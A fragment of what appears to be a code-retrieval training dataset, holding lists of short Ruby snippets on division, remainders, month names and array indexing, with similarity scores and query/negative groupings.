"def dec_remainder_of_two_floats(f_dividend, f_divisor)\r\n # your code goes here\r\n f_dividend / f_divisor - (f_dividend / f_divisor).to_i\r\nend",
"def div(x, y)\n x / y\nend",
"def division num1, num2\n total = num1.to_i / num2.to_i\n puts \"--> The total is... #{total}\"\nend",
"def div_stringed(num1, num2)\r\n\r\nend",
"def divide(first_number, second_number)\n first_number / second_number\nend",
"def do_division_by_zero; 5 / 0; end",
"def do_division_by_zero; 5 / 0; end",
"def do_division_by_zero; 5 / 0; end",
"def divide(num1, num2)\n\tresults = \"\"\n\tif num2 == 0\n\t\t\"False\"\n\telse\n\tresults = num1/num2\nend\n\n\t\t\t\n\t# if number == 0\n\t# \treturn \"Cant't divide a number by 0\"\n\t# else numbers.inject do |divedend, number|\n\t# quo = (divedend /= number).round(2)\n\n\n\t# end\n\n\t# if number.zero?\n # \treturn \"Cannot divide by 0!\"\n\t# else\n # \tquo\n\t# end\n\n\t\n\t# if number != 0 \n\t\t# \treturn quo\n\t# else \n\t\t# \treturn \"error\"\n\t# end\n\n\t# end\n\nend",
"def self_dividing_numbers(left, right)\n (left..right).select{|x| x.digits.all?{|y| y!=0 && x%y == 0}}\nend",
"def divide(first_number, second_number)\n return first_number / second_number\nend",
"def is_whole? n\n n.to_i == n\nend",
"def Division\n print \"Ingrese El numero 1: \"\n numero1 = gets.chomp.to_f\n print \"Ingrese El numeor 2: \"\n numero2 = gets.chomp.to_f\n\n if numero2 == 0\n puts \"\\nNo es posible dividir entre 0\"\n else\n puts \"\\nDivision: #{numero1 / numero2}\"\n end\n end",
"def divide(dividend, divisor)\r\n ((dividend < 0 && divisor >= 0) || (dividend >= 0 && divisor < 0)) ? negative = true : negative = false\r\n dividend = dividend.abs\r\n divisor = divisor.abs\r\n count = 0\r\n until dividend < divisor\r\n dividend -= divisor\r\n count += 1\r\n return negative ? 0 - (2**31) : 2**31 - 1 if count > 9999999\r\n end\r\n negative ? 0 - count : count\r\nend",
"def divide(number, divisor)\n begin\n answer = number / divisor\n rescue ZeroDivisionError => e\n puts e.message\n end\nend",
"def divide(number, divisor)\n begin\n answer = number / divisor\n rescue ZeroDivisionError => e\n puts e.message\n end\nend",
"def divide(number, divisor)\n begin\n answer = number / divisor\n rescue ZeroDivisionError => e\n puts e.message\n end\nend",
"def DivisionStringified(num1,num2)\n result = num1.to_f / num2.to_f\n result.round.to_s.chars.map(&:to_i).size <= 3 ? result.round : result.round(3)\nend",
"def divide(number, divisor)\n begin\n answer = number / divisor\n rescue ZeroDivisionError => e \n puts e.message\n end\nend",
"def int_remainder_without_modulo(i_dividend, i_divisor)\r\n # take the remainder of the integers => .6\r\n # multiply that remainder by i_divisor => .6*5 = 3.0\r\n # convert the float to an integer\r\n x = dec_remainder_of_two_integers(i_dividend, i_divisor)\r\n y = x * (i_divisor)\r\n y.to_i\r\nend",
"def divide(input_number)\n $number /= input_number\n return $number\nend",
"def is_integer?(num)\n # first two arguments can be replaced with num.is_a?(Integer)\n num.class == Fixnum || num.class == Bignum || ( num.class == Float && !num.nan? && num == num.floor )\nend",
"def divisible_by(numbers, divisible)\n divisible_number = numbers.select{ |x| x % divisible == 0 }\n divisible_number == 0 ? 0 : divisible_number \nend",
"def dec_remainder_of_two_integers(i_dividend, i_divisor)\n # your code goes here\n dec_remainder_of_two_floats(i_dividend.to_f, i_divisor.to_f)\nend",
"def div(p0) end",
"def sanitize_interest(int)\n\t int < 1.0 ? int : (int / 100.0)\n end",
"def divmod(val); end",
"def bagi(a,b)\n begin\n hasil = a/b\n rescue => pesan\n pesan\n end\nend",
"def check_powers(integer:)\n @powers.each do | number, position |\n if integer / number == 1\n @results[position] = 1\n integer -= number\n end\n end\n end",
"def dec_remainder_of_two_integers(i_dividend, i_divisor)\n # your code goes here\n return dec_remainder_of_two_floats(i_dividend.to_f, i_divisor.to_f)\nend",
"def divideThem(numOne, numTwo)\n numOne / numTwo\nend",
"def is_integer?(num)\n\tif num.is_a? Integer\n\t\ttrue\n\telsif num.is_a? Float\n\t\tif num.nan?\n\t\t\tfalse\n\t\telsif num == num.floor\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\telse\n\t\tfalse\n\tend\nend",
"def divide(dividend, divisor)\n negative_sign = (dividend < 0 && divisor >= 0) || (dividend >= 0 && divisor < 0)\n\n remaining = dividend.abs\n abs_divisor = divisor.abs\n quotient = 0\n while remaining >= abs_divisor\n remaining -= abs_divisor\n quotient += 1\n end\n\n negative_sign ? \"-#{quotient.to_s}\".to_i : quotient\nend",
"def dec_remainder_of_two_integers(i_dividend, i_divisor)\r\n # your code goes here\r\n f_dividend = i_dividend.to_f\r\n f_divisor = i_divisor.to_f\r\n dec_remainder_of_two_floats(f_dividend, f_divisor)\r\nend",
"def divide(a,b)\n raise Exception.new(\"Undefined. Divisor is 0\") if b == 0\n sign = 1\n result = -1\n\n # Handle corner cases\n if a < 0\n a *= -1\n sign *= -1\n end\n\n if b < 0\n b *= -1\n sign *= -1\n end\n\n while a >= 0\n a -= b\n result += 1\n end\n result * sign\nend",
"def divide(first_number, second_number)\n return first_number / second_number\n end",
"def divide_numbers x, y\n x.fdiv(y)\nend",
"def divisible_by?(num, by)\n (num % by).zero?\n end",
"def divide(number, divisor)\n begin\n answer = number / divisor\n rescue ZeroDivisionError => e\n puts \"--error--\", e.message, \"-----------\"\n end\nend",
"def rounddiv(a, b)\n c = a / b\n remainder = a - b * c\n if (remainder * 2).abs < b.abs\n c\n else\n c + 1\n end\nend",
"def divide (a,b)\n f = a.to_i / b.to_i\n puts \"Division of both number is: #{f}\"\n end",
"def porcentaje (base,total)\n #Con if o con unless se chequea el cumplimiento de la condicion de la excepción\n raise TypeError, \"El primer argumento es invalido\" unless base.is_a? Numeric\n if !total.is_a? Numeric\n raise TypeError, \"El segundo argumento es invalido\" \n end\n (base*100.0) / total\nend",
"def divide a, b\n if b == 0\n return \"Division by zero is undefined.\"\n else\n return \"a / b = #{a/b}\"\n end\nend",
"def is_whole?(n)\n (n.to_i == n)\nend",
"def div(arg0)\n end",
"def divisors(int)\n (1..int).select do |possible_divisor| \n int % possible_divisor == 0\n end\nend",
"def div(a, b) #=> funkcja wykonujaca dzielenie\n\n\tif b == 0\n\n\t\tputs \"Nie dzielimy przez 0!\"\n\t\treturn\n\n\telse\n\n\t\tputs \"Wynik: #{a/b}\"\n\n\tend\n\n\tputs \"Dzialanie wykonane prawidlowo\" #=> ta informacja nie pojawi sie w przypadku dzielenia przez 0\n\nend",
"def int_or_float( n ) # demo\n if (n - n.round).abs < 0.00000000001 # alternative n % 1 == 0, but this also helps with bad float maths\n n.round\n else\n return n\n end\nend",
"def divide(number, divisor)\n\tbegin\n\t\tanswer = number/divisor\n\trescue ZeroDivisionError => e\n\t\tputs e.message\n\tend\nend",
"def divide(num1, num2)\n return num1 / num2\nend",
"def dec_remainder_of_two_floats(f_dividend, f_divisor)\n # your code goes here\n puts (f_divisor/f_dividend).round(1)\nend",
"def is_odd_no_modulo?(number)\n float = number / 2.0\n if float == float.to_i.to_f\n puts \"#{number} is even.\"\n else\n puts \"#{number} is odd.\"\n end\nend",
"def decimal\n if denominator.to_i == 0\n puts \"ERROR\"\n else\n x = numerator.to_f/denominator.to_f\n puts x\n end\n end",
"def divide(number_one, number_two)\nnumber_one / number_two\nend",
"def multiple?(number, divisor)\n number % divisor == 0\nend",
"def multiple?(number, divisor)\n number % divisor == 0\nend",
"def multiple?(number, divisor)\n number % divisor == 0\nend",
"def multiple?(number, divisor)\n number % divisor == 0\nend",
"def gc_divisor(ints:[]) \n arr = []\n arr2 = []\n for i in ints \n arr << i \n end\n \n arr.each do |num|\n for i in (1..num)\n if (num % i == 0)\n arr2 << i\n end\n end\n end\n # positive \n #divides numbers without a remainder\n #largetst one of such number\n arr2.each\nend"
] |
[
"0.7242066",
"0.71676123",
"0.71583635",
"0.7144524",
"0.7112887",
"0.7089158",
"0.7089158",
"0.7000695",
"0.6980038",
"0.6973237",
"0.68796104",
"0.68741715",
"0.6869029",
"0.68501174",
"0.6795166",
"0.67735255",
"0.6772631",
"0.67616177",
"0.6757536",
"0.67166775",
"0.6664116",
"0.6658127",
"0.6649581",
"0.65825045",
"0.65768915",
"0.6560857",
"0.6548734",
"0.6533979",
"0.6506973",
"0.64905053",
"0.6484898",
"0.64757186",
"0.64374316",
"0.6391659",
"0.6389549",
"0.63845956",
"0.63771886",
"0.63751113",
"0.63741845",
"0.6368669",
"0.63669455",
"0.63646257",
"0.63551617",
"0.6354556",
"0.63510704",
"0.63510704",
"0.63510704",
"0.6343532",
"0.6340381",
"0.6340224",
"0.63397163",
"0.6337337",
"0.63358516",
"0.6330027",
"0.6330027",
"0.6330027",
"0.6324732",
"0.630625",
"0.62996626",
"0.6294957",
"0.6275769",
"0.6266366",
"0.626504",
"0.62649304",
"0.62581366",
"0.62580705",
"0.6242151",
"0.6236197",
"0.62321323",
"0.62147796",
"0.6213878",
"0.6197989",
"0.6195601",
"0.61941826",
"0.6192115",
"0.6188893",
"0.61862564",
"0.61841923",
"0.6183153",
"0.6174454",
"0.6170574",
"0.6166731",
"0.6163009",
"0.6148586",
"0.6143654",
"0.614003",
"0.6135551",
"0.6125225",
"0.6125006",
"0.61153585",
"0.61139065",
"0.6109551",
"0.61080784",
"0.6107555",
"0.6107555",
"0.6107555",
"0.6107555",
"0.6106126"
] |
0.62290597
|
71
|
Here we could have done a very similar piece of code to above, but we don't want to repeat ourselves to this is better.
|
def number_to_short_month_name(month)
return number_to_full_month_name(month)[0..2]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def private; end",
"def probers; end",
"def anchored; end",
"def schubert; end",
"def offences_by; end",
"def suivre; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def custom; end",
"def custom; end",
"def offences_by=(_arg0); end",
"def terpene; end",
"def same; end",
"def escaper=(_); end",
"def wrapper; end",
"def intensifier; end",
"def internship_passed; end",
"def common\n \n end",
"def ignores; end",
"def original_result; end",
"def probers=(_arg0); end",
"def isolated; end",
"def isolated; end",
"def formation; end",
"def stderrs; end",
"def weber; end",
"def refutal()\n end",
"def fallbacks=(_arg0); end",
"def next() end",
"def next() end",
"def escaper; end",
"def prepareForReuse; end",
"def internal; end",
"def berlioz; end",
"def placebo?; false end",
"def apply\n\t\t\n\tend",
"def apply\n\t\t\n\tend",
"def villian; end",
"def transformations; end",
"def final; end",
"def extra; end",
"def operations; end",
"def operations; end",
"def original; end",
"def trd; end",
"def processor; end",
"def expanded; end",
"def first; end",
"def first; end",
"def used?; end",
"def implementation; end",
"def implementation; end",
"def generate_comprehensive\n\n end",
"def jack_handey; end",
"def rest_positionals; end",
"def fallbacks; end",
"def fallbacks; end",
"def celebration; end",
"def transform; end",
"def post_process; end",
"def preproc; end",
"def sitemaps; end",
"def macro; raise NotImplementedError; end",
"def macro; raise NotImplementedError; end",
"def macro; raise NotImplementedError; end",
"def rassoc(p0) end",
"def rekey_as_needed; end",
"def calls; end",
"def calls; end",
"def conditionally(*) end",
"def conditionally(*) end",
"def identify; end",
"def next!() end",
"def result=(_); end",
"def as_you_like_it_quote; end",
"def who_we_are\r\n end",
"def transforms; end",
"def ibu; end",
"def apply; nil; end",
"def code_of_conduct; end",
"def returns; end",
"def gounod; end",
"def malts; end",
"def spice; end",
"def post_match() end",
"def extra=(_arg0); end",
"def required_positionals; end",
"def parts; end",
"def parts; end",
"def parts; end",
"def romeo_and_juliet; end",
"def loc; end",
"def loc; end",
"def loc; end",
"def executor; end",
"def executor; end",
"def executor; end",
"def r; end",
"def r; end"
] |
[
"0.6535553",
"0.59476185",
"0.5719327",
"0.5624982",
"0.5417924",
"0.5412512",
"0.5358555",
"0.5358555",
"0.5358555",
"0.5358555",
"0.5337016",
"0.5337016",
"0.5291002",
"0.52545106",
"0.5253086",
"0.5229857",
"0.51901096",
"0.51796377",
"0.5133155",
"0.5125675",
"0.51240486",
"0.51236016",
"0.510874",
"0.5100234",
"0.5100234",
"0.5090963",
"0.5084152",
"0.50706184",
"0.50689006",
"0.5065768",
"0.5041983",
"0.5041983",
"0.5032506",
"0.5030892",
"0.50289124",
"0.5025465",
"0.5021463",
"0.5017697",
"0.5017697",
"0.501301",
"0.49943888",
"0.49874413",
"0.49807924",
"0.49750432",
"0.49750432",
"0.49708956",
"0.49610278",
"0.4957618",
"0.4957186",
"0.4954523",
"0.4954523",
"0.4949872",
"0.49434602",
"0.49434602",
"0.49429846",
"0.4933607",
"0.4907069",
"0.49056152",
"0.49056152",
"0.48908177",
"0.48773476",
"0.48671067",
"0.4863441",
"0.48625195",
"0.48471296",
"0.48471296",
"0.48471296",
"0.4846188",
"0.48383877",
"0.48336035",
"0.48336035",
"0.48331684",
"0.48331684",
"0.48258337",
"0.48257604",
"0.48169747",
"0.48079336",
"0.48002383",
"0.47971097",
"0.47955748",
"0.47861072",
"0.47808498",
"0.47771293",
"0.47725612",
"0.47685486",
"0.4767969",
"0.47625628",
"0.47617635",
"0.4752521",
"0.4744436",
"0.4744436",
"0.4744436",
"0.47393203",
"0.4739037",
"0.4739037",
"0.4739037",
"0.47382003",
"0.47382003",
"0.47382003",
"0.47352132",
"0.47352132"
] |
0.0
|
-1
|
indexing to access specific array elements
|
def array_with_two_elements
ary = Array.new
Array.new(2)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def [](indx)\n elements[indx]\n end",
"def []( index )\r\n @ary.at(index + @offset)\r\n end",
"def at(array, i)\n array[i]\nend",
"def at(index)\n \t@array[index]\n end",
"def index(element); end",
"def by_index(index)\n @arr[index]\n end",
"def [](i); @x[i]; end",
"def [](index); @data[index]; end",
"def indices(*rest) end",
"def indices(*rest) end",
"def [](index)\n all[index]\n end",
"def [] i\n @array[i]\n end",
"def element_at(arr, index)\n arr[index]\nend",
"def retrieve_element_from_index(array, index_number)\n array[index_number]\nend",
"def retrieve_element_from_index(array, index_number)\n array[index_number]\nend",
"def [](i)\n @elements[i]\n end",
"def at( index )\r\n @ary.at(index + @offset)\r\n end",
"def retrieve_element_from_index(array, index_number)\n return array[index_number]\nend",
"def at(index); end",
"def [](i)\n @elem[i]\n end",
"def item_at_index(array, indices)\n item = array\n indices.each do |each|\n item = item.slice(each)\n end\n item\n end",
"def index(p0) end",
"def index(p0) end",
"def third_element(array)\n array[2]\nend",
"def third_element(array)\n array[2]\nend",
"def index\n @array = [45, 6, 32, 0]\n end",
"def [](index) # i.e. array style index lookup.\n end",
"def [](index); end",
"def element_at(arr, index)\n arr[index]\n # or arr.at(index)\nend",
"def [](point)\n @array[point.first][point.last]\n end",
"def element i=0\n @array[i]\n end",
"def [](index)\n @index[index]\n end",
"def values_at(*rest) end",
"def values_at(*rest) end",
"def values_at(*rest) end",
"def [](index)\n beam[index]\n end",
"def index(array, position)\n array.at(position) if array.respond_to?(:at)\n end",
"def [](i)\n \t@vector[i] \n end",
"def [](index)\n @val[index]\n end",
"def all_elements_except_first_3 a\n\treturn a[3, 5] \nend",
"def [](idx)\n items[idx]\n end",
"def [](index)\n return @elements[index] if index.kind_of? Numeric\n return @element_map[index] if @element_map[index] \n return @element_map[index.to_s] \n end",
"def [](offset = 0)\n array_element(-1 - offset)\n end",
"def [](index)\n Array.new([index])\n end",
"def [](idx)\n Ruby.primitive :array_aref\n end",
"def [](i)\n\t\t\t@elements[i]\n\t\tend",
"def at(idx)\n Ruby.primitive :array_aref\n end",
"def pick_these(arr, i, j)\n\nend",
"def _multi_array_indexes(i)\n element_list_sizes_tmp = _element_list_sizes\n array_indexes = []\n\n while element_list_size = element_list_sizes_tmp.pop\n i, remainder = i.divmod(element_list_size)\n array_indexes.unshift remainder\n end\n\n array_indexes\n end",
"def element_at(arr, index)\n # return the element of the Array variable `arr` at the position `index`\n # arr.at(index) # or\n # arr[index]\n arr[index] \n end",
"def [](t)\n i = left_index_at(t)\n i && @data[i][1]\n end",
"def []( index )\n reg = to_reg()\n reg[index]\n end",
"def elem(i)\r\n @elemek[i]\r\n end",
"def [](idx)\n send(idx)\n end",
"def []( index )\n case index\n when 0\n @x\n when 1\n @y\n else\n nil\n end\n end",
"def [](index); @args[index] end",
"def [](*index)\n\n if (index.size != 0)\n @local_index[*index]\n elsif (@local_iterator)\n @local_iterator.get_current\n else\n raise \"No iterator defined! Cannot get element\"\n end\n\n end",
"def at(idx)\n Ruby.primitive :array_aref\n idx = Type.coerce_to idx, Fixnum, :to_int\n idx += @total if idx < 0\n\n return nil if idx < 0 or idx >= @total\n\n @tuple.at @start + idx\n end",
"def [](offset = 0)\n return self.array_element(- 1 + offset)\n end",
"def element_at(arr, index)\n # return the element of the Array variable `arr` at the position `index`\n # arr.at(index) # or\n # arr[index]\n return arr[index]\nend",
"def [](p0, *rest) end",
"def [](p0, *rest) end",
"def [] index\n if index.is_a? Range\n n = index.size\n extract_band index.begin, n: n\n elsif index.is_a? Numeric\n extract_band index\n else\n raise Vips::Error, \"[] index is not range or numeric.\"\n end\n end",
"def pos *indexes\n if indexes.first.is_a? Integer\n return indexes.first if indexes.size == 1\n return indexes\n end\n res = self[indexes]\n return res if res.is_a? Integer\n res.map { |i| self[i] }\n end",
"def pos *indexes\n if indexes.first.is_a? Integer\n return indexes.first if indexes.size == 1\n return indexes\n end\n res = self[indexes]\n return res if res.is_a? Integer\n res.map { |i| self[i] }\n end",
"def calls_array\n a = return_array\n a[1]\n end",
"def element_at(arr, index)\n # return the element of the Array variable `arr` at the position `index`\n # arr.at(index) # or\n # arr[index]\n arr[index]\nend",
"def extract_array(ary, key, &block)\n ary.each_with_index do |value, index|\n new_key = key + \"[#{index}]\"\n extract_value value, new_key, &block\n end\n end",
"def at(index)\n self[index]\n end",
"def [](index)\n self.__getitem__ index\n end",
"def [](index)\n @values[index]\n end",
"def [](n)\n @data[n]\n end",
"def [](index)\n @values[index]\n end",
"def get(index)\n @array_list.get(index)\n end",
"def [](x, y)\n @pole[x][y]\n end",
"def [](*names)\n ary = values_at(*names)\n names.size == 1 ? ary.first : ary\n end",
"def [](idx)\n row(:index, idx)\n end",
"def [](idx)\n\t\t@bar[idx]\n\tend",
"def [](*index)\n if index[0].kind_of?(Array)\n index = index[0]\n end\n return @delegate[index]\n end",
"def index_of element\n @index.key @data.index(element)\n end",
"def [](index)\n end",
"def [](index)\n end",
"def [](index)\n parts[index]\n end",
"def [] x, y\r\n @rows[y][x]\r\n end",
"def [](idx)\n return unless addresses[idx]\n\n to_a[idx]\n end",
"def [](idx) \n if idx >= @total\n return nil\n end\n\n @tuple.at(@start + idx)\n end",
"def [](i)\n\t\t@matrix[i]\n\tend",
"def odd_indexed_integers(array)\n\nend",
"def looked_for(array_or_elem) #:nodoc:\n return {} unless array_or_elem \n array_or_elem = [ array_or_elem ] unless array_or_elem.is_a?(Array) \n array_or_elem.index_by { |x| x }\n end",
"def [](index)\n self.grid[index]\n end",
"def [](i); self.objects.ith(i) end",
"def cell_index_array\n use_default_index ? 0.upto(points - 1) : concatenate_data_arrays('index', 'cells')\n end",
"def [](index)\n i = 0\n each { |x| return x if i == index; i += 1 }\n nil # out of index\n end",
"def [](i)\n values[column_index i]\n end",
"def [](index)\n entries[index]\n end",
"def [](pos)\n self.grid[pos[1]][pos[0]]\n end",
"def vert (index)\n # assumes that all subarrays have an nth element\n ret_arr = []\n self.each { |a| ret_arr << a[index]}\n return ret_arr\n end",
"def row_ia(x, y)\n (0...layers).map { |z| xyz_toindex(x, y, z) }\n end",
"def [](offset)\n iterator = self.iterator\n iterator[offset]\n end",
"def get(i, j)\n @pos[i][j]\n end",
"def indexes(*rest) end"
] |
[
"0.74449104",
"0.7210455",
"0.7142888",
"0.71170944",
"0.6976025",
"0.69086105",
"0.68387663",
"0.679267",
"0.67884713",
"0.67884713",
"0.67797863",
"0.6721372",
"0.67039484",
"0.6660641",
"0.6660641",
"0.6626267",
"0.6614239",
"0.6572086",
"0.6570697",
"0.6512165",
"0.65072143",
"0.6502559",
"0.6502559",
"0.64825904",
"0.64825904",
"0.6467127",
"0.6444238",
"0.643815",
"0.64334744",
"0.6405329",
"0.6388814",
"0.63527685",
"0.63391834",
"0.63391834",
"0.6338902",
"0.63334894",
"0.62936705",
"0.6256933",
"0.62568194",
"0.62396204",
"0.62335694",
"0.6199557",
"0.6195133",
"0.6190366",
"0.61770076",
"0.6171312",
"0.6140951",
"0.61400795",
"0.6138694",
"0.61336774",
"0.6132211",
"0.61257094",
"0.611558",
"0.61153024",
"0.6099526",
"0.60791725",
"0.60585237",
"0.6041855",
"0.60386944",
"0.60143393",
"0.59966755",
"0.59966755",
"0.5994717",
"0.599316",
"0.599316",
"0.59571856",
"0.59562397",
"0.5947931",
"0.59426224",
"0.59400815",
"0.59383804",
"0.5935962",
"0.5931587",
"0.59096634",
"0.5905614",
"0.59029365",
"0.58975303",
"0.588838",
"0.5882087",
"0.58781916",
"0.5872501",
"0.5872501",
"0.58685344",
"0.58641165",
"0.58557385",
"0.5852338",
"0.5846148",
"0.5845694",
"0.5842743",
"0.58353084",
"0.5833778",
"0.5828316",
"0.5822994",
"0.5815872",
"0.58155775",
"0.5812374",
"0.5810464",
"0.58089393",
"0.58068883",
"0.58051455",
"0.58048314"
] |
0.0
|
-1
|
retrieving the first element from the Array
|
def first_element(array)
taylor_swift = ["Welcome to New York", "Blank Space", "Style", "Out of The Woods"]
taylor_swift[0]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def retrieve_first_element_from_array(array)\n array[0]\nend",
"def retrieve_first_element_from_array(array)\n return array[0]\nend",
"def retrieve_first_element_from_array(array)\n array.first\nend",
"def using_first(array)\n first_element=array.first\nend",
"def first_element(array)\n array[0]\nend",
"def using_first(array)\narray.first\nend",
"def get_first_element(arr)\n return arr.first()\nend",
"def first_of(array)\n output = array[0]\n return output\nend",
"def first(arr)\n return arr[0]\nend",
"def first_of(array)\n return array[0]\nend",
"def first_of(array)\n return array[0]\nend",
"def first_item(elective_array)\n return elective_array[0]\nend",
"def get_first_element(arr)\n arr.first\nend",
"def using_first(array)\n array.first\nend",
"def using_first(array)\n array.first\nend",
"def using_first(array)\n array.first\nend",
"def using_first(array)\n array.first\nend",
"def first_of(arr)\n return arr[0]\nend",
"def first_of(arr)\n return arr[0]\nend",
"def first_of(arr)\n return arr[0]\nend",
"def first\r\n self[0]\r\n end",
"def head\n \t@array[0]\n end",
"def first\n to_a.first\n end",
"def first_element_with_array_methods\n @taylor_swift.index (0)\n end",
"def first\n all[0]\n end",
"def first\n self[0]\n end",
"def first\n self[0]\n end",
"def first\n self[0]\n end",
"def first\n @elements.empty? ? nil : @elements[0]\n end",
"def array_first\n golf_scores=[75,76,78,77,79,74,72] # this is the orignal array\n golf_scores.first(3) #this example return the first 3 scores\n # from the golf_scores array\nend",
"def first_event(array)\n array.first\nend",
"def first\n self.take(1)[0]\n end",
"def peek\r\n @arr[0]\r\n end",
"def first\n limit(1).to_a.first\n end",
"def whats_in_front\n @array[0]\n end",
"def first_element_with_array_methods(array)\n array.first\nend",
"def first_element_with_array_methods(array)\n array.first\nend",
"def custom_first(arr, num_of_elements = 0)\n return arr[0] if num_of_elements == 0\n arr[0, num_of_elements]\nend",
"def first_element_with_array_methods(array)\n return array.first\nend",
"def first\n\t\t\tarray = pop\n\t\t\traise ArgumentError, \"FIRST: first element is not an Array.\" unless array.is_a? Array\n\t\t\traise ArgumentError, \"FIRST: empty array.\" if array.length == 0\n\t\t\tpush array.first\n\t\tend",
"def custom_first(arr, num=0)\n return arr[0] if num == 0\n arr[0, num]\nend",
"def custom_first(arr, num = 0)\n return arr[0] if num == 0\n arr[0, num]\nend",
"def first\n @values.first\n end",
"def first_element(my_first_element)\n my_first_element = @taylor_swift[1-1]\nend",
"def first\n self.slice(0)\n end",
"def first_element_with_array_methods(array)\n south_east_asia = [\"Thailand\", \"Cambodia\", \"Singapore\", \"Myanmar\"]\n south_east_asia.first\n end",
"def first_value\r\n get(@first_index)\r\n end",
"def first\n @poss[0]\n end",
"def first\n items.compact.first\n end",
"def first_movie (array)\n array.first\nend",
"def peek()\n @arr[1]\n end",
"def first\n\n @items.values.first\n end",
"def first\n @ordered_elements.first\n end",
"def get_min()\n @array[-1][1]\n end",
"def first\n @enumerable.first\n end",
"def custom_first(arr,num=0)\n l = arr.length\n if num==0\n arr[0]\n else\n (num<l)? arr[0...num] : arr[0...l]\n end\nend",
"def first ; list.first ; end",
"def caar; first.first end",
"def first\n contents[0]\n end",
"def first_element_with_array_methods(first_country)\n first_country = @south_east_asia.first\nend",
"def first() end",
"def first_index(arr, &prc)\n arr.each.with_index do |ele, idx| \n return idx if prc.call(ele)\n end\n nil\nend",
"def get_first\r\n if @head \r\n return @head.data\r\n else \r\n return nil\r\n end\r\n end",
"def custom_first(arr,num=0)\n return arr[0] if num==0\n arr[0...num]\nend",
"def one(array)\n return array.first if array.one?\n\n raise SizeError,\n \"expected size to be exactly 1 but size was #{array.size}\"\n end",
"def peek_first\n raise 'No such element' if @size == 0\n @head.value\n end",
"def get_first\r\n # if the list is empty, head is nil\r\n if @head.nil?\r\n return nil\r\n else \r\n value = @head.data\r\n return value\r\n end\r\n end",
"def first\n @items.first\n end",
"def get_first\n current = @head\n return nil if current.nil?\n \n return @head.data\n end",
"def get_first\n return head ? head.data : nil\n end",
"def get_first\r\n return @head ? @head.data : nil\r\n end",
"def get_first\n return @head ? @head.data : nil\n end",
"def first\n @head.val\n end",
"def first_in_array(arr, el1, el2)\n\tarr.each do |element|\n if(element == el1)\n return el1\n end\n if element == el2 \n return el2\n end\n end\n \treturn nil\nend",
"def get_first\n \n return nil if @head.nil?\n return @head.data\n \n end",
"def first\n @range.first\n end",
"def first_index(arr, &prc)\n\n arr.each_with_index do |ele, i|\n return i if prc.call(ele)\n end\n return nil\nend",
"def get_first\n return @head.data if @head\n return @head\n end",
"def get_first\n return nil if @head.nil?\n\n return @head.data\n end",
"def get_first\n return nil if @head.nil?\n\n return @head.data\n end",
"def get_first\n return nil if !@head\n return @head.data\n end",
"def get_first\n if @head == nil\n return nil\n else\n return @head.data\n end\n end",
"def get_first\n return nil if @head.nil?\n return @head.data\n end",
"def first_item\n items.first\n end",
"def first(numbers, int)\n numbers.first(int)\nend",
"def first\n enumerator(:limit => 1).first \n end",
"def first_item (electives)\n electives[0] \nend",
"def first_ele(class_name)\n ele_index class_name, 1\n end",
"def get_first\n return nil if head.nil?\n return head.data\n end",
"def first\n\n wi(fetch_all({}).first)\n end",
"def first\n all.first\n end",
"def first\n all.first\n end",
"def first\n all.first\n end",
"def first\n all.first\n end",
"def first_in_array(arr, el1, el2)\n \n first_el = []\n \n arr.each_with_index do |element, i|\n if(element == el1 || element == el2)\n first_el << element\n end\n end\n \n return first_el[0]\n\nend",
"def first(key)\n values(key).first\n end",
"def first\n all.first\n end",
"def first\n all.first\n end",
"def first\n all.first\n end",
"def first_index(arr, &proc)\r\n arr.each_with_index { |el, i| return i if proc.call(el) }\r\n nil\r\nend"
] |
[
"0.8887926",
"0.88523483",
"0.87731326",
"0.86561817",
"0.8653266",
"0.86523336",
"0.86272603",
"0.8617308",
"0.8531432",
"0.8521316",
"0.8521316",
"0.8482365",
"0.8458378",
"0.8366077",
"0.8366077",
"0.8366077",
"0.8366077",
"0.830389",
"0.830389",
"0.830389",
"0.80046654",
"0.79657394",
"0.79452986",
"0.78767794",
"0.7837594",
"0.7831578",
"0.781925",
"0.781925",
"0.7757899",
"0.7699179",
"0.76763517",
"0.7632474",
"0.7630506",
"0.7623731",
"0.7619468",
"0.76157945",
"0.76157945",
"0.75868684",
"0.7580491",
"0.75098616",
"0.7505385",
"0.7484653",
"0.7431241",
"0.74159175",
"0.7409529",
"0.7402765",
"0.73701155",
"0.7330542",
"0.73251283",
"0.7295726",
"0.7294287",
"0.7275165",
"0.7150513",
"0.7141044",
"0.71401215",
"0.7106962",
"0.7084245",
"0.70726013",
"0.70707554",
"0.70554155",
"0.705469",
"0.702166",
"0.70168877",
"0.7011843",
"0.69982404",
"0.6996339",
"0.69957376",
"0.6959203",
"0.6955008",
"0.69527775",
"0.69520944",
"0.69330496",
"0.69079405",
"0.690005",
"0.6897569",
"0.68939954",
"0.68879086",
"0.68789655",
"0.68646014",
"0.68646014",
"0.6851452",
"0.6823761",
"0.68204045",
"0.6819893",
"0.6814315",
"0.68112445",
"0.6808416",
"0.6780631",
"0.67760897",
"0.6758502",
"0.67542875",
"0.67542875",
"0.67542875",
"0.67542875",
"0.6750051",
"0.6734803",
"0.6731215",
"0.6731215",
"0.6731215",
"0.6724769"
] |
0.78506386
|
24
|
retrieving the third element from the array, using a positive index
|
def third_element(array)
taylor_swift = ["Welcome to New York", "Blank Space", "Style", "Out of The Woods"]
taylor_swift[2]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def third_element(array)\n array[2]\nend",
"def third_element(array)\n array[2]\nend",
"def third_element(my_third_element)\n my_third_element = @taylor_swift[3-1]\nend",
"def retrieve_element_from_index(array, index_number)\n return array[index_number]\nend",
"def retrieve_element_from_index(array, index_number)\n array[index_number]\nend",
"def retrieve_element_from_index(array, index_number)\n array[index_number]\nend",
"def third\n self[2]\n end",
"def all_elements_except_first_3 a\n\treturn a[3, 5] \nend",
"def at(array, i)\n array[i]\nend",
"def at(index)\n \t@array[index]\n end",
"def fourth\n self[3]\n end",
"def array_first\n golf_scores=[75,76,78,77,79,74,72] # this is the orignal array\n golf_scores.first(3) #this example return the first 3 scores\n # from the golf_scores array\nend",
